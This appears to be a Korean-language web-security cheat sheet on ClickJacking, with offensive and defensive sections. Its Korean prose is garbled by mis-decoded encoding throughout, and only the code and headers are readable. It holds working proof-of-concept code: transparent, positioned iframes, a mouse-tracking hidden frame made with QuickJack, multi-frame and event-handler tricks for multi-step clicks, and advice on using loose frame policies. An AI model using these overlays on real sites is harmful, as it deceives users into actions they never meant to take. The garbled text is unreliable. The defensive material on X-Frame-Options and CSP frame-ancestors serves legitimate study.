๐ Introduction
ClickJacking์ frame ๋ฑ์ ํ๊ฒฝ์์ User Interaction์ ์ ๋ํ์ฌ ์ฌ์ฉ์๊ฐ ์ธ์งํ์ง ๋ชปํ ์ํ์์ ์ค์ ๊ธฐ๋ฅ์ ์ํ์ํค๋๋ก ํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ์๋ฏธํฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ํผ์ฑ๊ณผ ๊ฐ์ด User Interaction์ด ํ์ํ์ง๋ง, Frame ๋ด ํฌ์ธํด, ํฌ๋ช ๋ ์ด์ด ๋ฑ CSS ๋จ ์ฒ๋ฆฌ๋ก ์ด๋ฅผ ์ฝ๊ฒ ์ธ์งํ์ง ๋ชปํ๋๋ก ๊ตฌ์ฑํ์ฌ ์๋์ ์ผ๋ก ์ฑ๊ณต ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค.
๐ก Offensive techniques
Detect
ClickJacking์ frame ๊ธฐ๋ฐ์ ๊ณต๊ฒฉ์ด๊ธฐ ๋๋ฌธ์ X-Frame-Options, CSP ๋ฑ์ผ๋ก ๋ณดํธ๋ฐ์ง ์๋ ํ์ด์ง๋ ๋ชจ๋ ์ํฅ์ ๋ฐ์ต๋๋ค. ๋ค๋ง ClickJacking์๋ ์ด๋ฅผ ์ฑ๊ณตํ๊ธฐ ์ํ ์กฐ๊ฑด๋ค(์ค์ํ ๊ธฐ๋ฅ์ด ๋ณดํธ๋ฐ์ง ๋ชปํ๋ ๊ฒฝ์ฐ ๋ฑ)์ด ํ์ํ๊ธฐ ๋๋ฌธ์ ์๋ ์คํ ์ผ๋ก ์ฒดํฌํ๋ ๋ฐฉ๋ฒ์ด ํธ๋ฆฌํฉ๋๋ค.
1) ์๋น์ค ๋ด ์ค์๊ธฐ๋ฅ ์๋ณ 2) ํด๋น ๊ธฐ๋ฅ์ User Interaction ์ฒดํฌ 2) X-Frame-Options, CSP ๋ฑ์ผ๋ก ๋ณดํธ๋ฐ์ง ์๋ ํ์ด์ง์ธ์ง ์ฒดํฌ
<iframe src="target_site"></iframe>
Exploitation
์ผ๋ฐ์ ์ผ๋ก iframe์ ํตํด PoC ์ฝ๋๋ฅผ ๊ตฌ์ฑํ๊ณค ํฉ๋๋ค.
<iframe src="target_site"></iframe>
์ด ๋ iframe์ style์์ position, left, right, top, bottom, width, height ๋ฑ์ ์ด์ฉํ์ฌ ์ํ๋ ์์น์ ๋ง์ฐ์ค ํฌ์ธํ ์ ๋ง์ถ ์ ์์ต๋๋ค.
left:-91px;
top:-320px;
position:absolute;
filter:alpha(opacity=0);
z-index:1;
opacity:0;
overflow:hidden;
width:1485px;
height:836px;
๋ค๋ง ์ด๋ฅผ ์ง์ ๊ณ์ฐํ๊ธฐ์๋ ์ข ๋ถํธํ๊ธฐ ๋๋ฌธ์ ๋ณดํต QuickJack ๊ฐ์ ๋๊ตฌ๋ฅผ ์ด์ฉํ์ฌ ํฌ์ธํ ์ด ๊ตฌ์ฑ๋ ClickJacking PoC๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค.
<style>body{margin:0px;padding:0px;}</style>
<div style="overflow:hidden;width:1px;height:1px;position:relative;" id=v>
<iframe id="cksl7" name="cksl7" src="https://www.hahwul.com" style="border:0px;left:-108px;top:-357px;position:absolute;filter:alpha(opacity=0);z-index:1;opacity:0;overflow:hidden;width:1281px;height:604px;"></iframe>
</div>
<script>var d=document;if(!d.all)d.captureEvents(Event.MOUSEMOVE);d.onmousemove=function(e){var i=d.getElementById("v").style;i.left=d.all?event.clientX+d.body.scrollLeft:e.pageX;i.top=d.all?event.clientY+d.body.scrollTop:e.pageY;};</script>
<script src="https://code.jquery.com/jquery-2.1.3.min.js"></script>
<script>$(function(){var i=-1;$("#cksl7").hover(function(){i=$(this).closest("#v").attr("qjid");},function(){i=-1;});$(window).focus();$(window).blur(function(){document.getElementById("v").style.visibility="hidden";});});$(window).focus()</script>
https://www.hahwul.com ๋ด Cullinan ๋ฒํผ์ ํฌ์ธํ
ํ PoC
NStep - Multiple frame
2 Step ์ด์์ Click Jacking์ ์ํด์ ์ฌ๋ฌ iframe๊ณผ ์ ์ ํ๊ฒ ๊พธ๋ฐ ์ ์๋ CSS ํธ๋ฆญ์ด ํ์ํฉ๋๋ค. ์ฌ๋ฌ iframe์ ๊ฐ๊ฐ step์ ๋ง๋ ํ์ด์ง๋ฅผ ๋ก๋ํ ํ CSS๋ก ์์ฅํ ํ์ด์ง์์ ํด๋ฆญ์ ์ ๋ํ๋ฉด ๋ฉ๋๋ค.
<style>
.split{
width: 50%;
height: 100%;
}
</style>
<iframe class="split" src="target/step1.page"></iframe>
<iframe class="split" src="target/step2.page"></iframe>
NStep - Event Handler
<script>
function fire(){
frm.src="target/step2.page"
alert("์คํจํ์์ต๋๋ค. ํ์ด์ง๋ฅผ ํ๋ฒ ๋ ๋๋ฌ์ฃผ์ธ์.")
}
frm.addEventListener('click', function(event) {
fire()
}, false);
</script>
<iframe id="frm" src="target/step1.page"></iframe>
Bypass protection
Bypass policy
X-Frame-Options, CSP ๋ฑ์ผ๋ก ๋ณดํธ๋ฐ๊ณ ์๋ค๊ณ ํ๋๋ผ๋, ์ด ํค๋๋ค์ ์ ์ฑ ์ ๋ฐ๋ผ์ frame ํ์ฉ์ด ๊ฐ๋ฅํ ๊ฒฝ์ฐ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค. ์ ์ฑ ์ ์ ์ฒดํฌํ๊ณ ํ์ฉ๋ ๋๋ฉ์ธ ๋ฑ์ ํ์ธํ์ฌ ๊ณต๊ฒฉ ์ฑ๊ณต์ ์ ๋ํ ์ ์์ต๋๋ค.
Multiple-Step ClickJacking
๊ฐํน User Interaction์ด ๊ณ ๋ ค๋ ์ค์ ๊ธฐ๋ฅ๋ค์ด ์๋ ๊ฒฝ์ฐ ๋จ์ ํด๋ฆญ์ผ๋ก ClickJacking์ด ์ด๋ ค์ด ๊ฒฝ์ฐ๋ ์กด์ฌํฉ๋๋ค. ๋ค๋ง ์ดํ ์ก์ ๋ค์ด ์ถฉ๋ถํ ํด๋ฆญ, ํ ์คํธ ์ ๋ ฅ ๋ฑ ์ ๋๊ฐ ๊ฐ๋ฅํ ์ผ์ด์ค๋ผ๋ฉด, ClickJacking์ ์ฝ๋๋จ์์ ๊ฒ์๊ณผ ๊ฐ์ ํ์ด์ง๋ฅผ ๊ตฌ์ฑํ์ฌ ์ฌ์ฉ์์ ์ก์ ์ ์ ๋ํ ์ ์์ต๋๋ค.
(์ค์ ๋ก ํด์ปค์์์ ์ฃผ์ฌ์ ๊ฒ์ PoC๊ฐ ์์์ต๋๋ค)
๐ก Defensive techniques
X-Frame-Options
X-Frame-Options์ HTTP Response Header๋ก iframe, frame, object ํ๊ทธ๋ฅผ ์ด์ฉํ ๋ ๋๋ง์ ๋ํ ์ ์ฑ ํค๋์ ๋๋ค. ์ด๋ฅผ ํตํด์ ์๋ํ์ง ์์ frame์ ๋ง์ ์ ์์ด ClickJacking ๊ณต๊ฒฉ์ ํจ๊ณผ์ ์ผ๋ก ๋์ํ ์ ์์ต๋๋ค.
X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://example.com/
Policy | Description |
---|---|
deny | ์ด๋ ํ ์ฌ์ดํธ์์๋ frame ์์์ ๋ณด์ฌ์ง ์ ์์ต๋๋ค. |
sameorigin | ๋์ผํ ์ฌ์ดํธ(Same-Origin)์ frame์์๋ง ๋ณด์ฌ์ง๋๋ค. |
allow-from uri | ์ง์ ๋ ํน์ uri์ frame ์์๋ง ๋ณด์ฌ์ง๋๋ค. |
User Interaction
X-Frame-Options ํค๋ ์ ์ฉ์ด ์ด๋ ค์ด ๊ฒฝ์ฐ, ์ค์ ๊ธฐ๋ฅ์ ๋ํด์ User Interaction์ ์ถ๊ฐํ๋ ํํ๋ก ๊ณต๊ฒฉ์ ์๋ฐฉํ ์ ์์ต๋๋ค. ๋จ์ ํด๋ฆญ ๋ฑ์ ์ด์ฉํ ํ์ธ์ ์ฝ๊ฒ ์ฐํํ ์ ์๋ ์ฌ์ง๊ฐ ์๊ธฐ ๋๋ฌธ์ Captcha์ ๊ฐ์ด ์กฐ๊ธ ๋ ๊ฐ๋๊ฐ ์๋ User Interaction ์ ์ฉ์ผ๋ก ํตํด ClickJacking์ ๋ฐฉ์ดํ ์ ์์ต๋๋ค.
CSP
CSP(Content-Secuirty-Policy) ํค๋๋ฅผ ํตํด์๋ ๋ฐฉ์ดํ ์ ์์ต๋๋ค. frame-ancestors๋ฅผ ํตํด frame๋ฅผ ํ์ฉํ ๋ฒ์๋ฅผ ์ง์ ํ์ฌ ๋ฌด๋ถ๋ณํ frame์ ์ฐจ๋จํ ์ ์์ต๋๋ค.
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors normal-website.com;
๐น Tools
๐ Articles
- https://www.hahwul.com/2017/07/07/web-hacking-easily-trigger-event/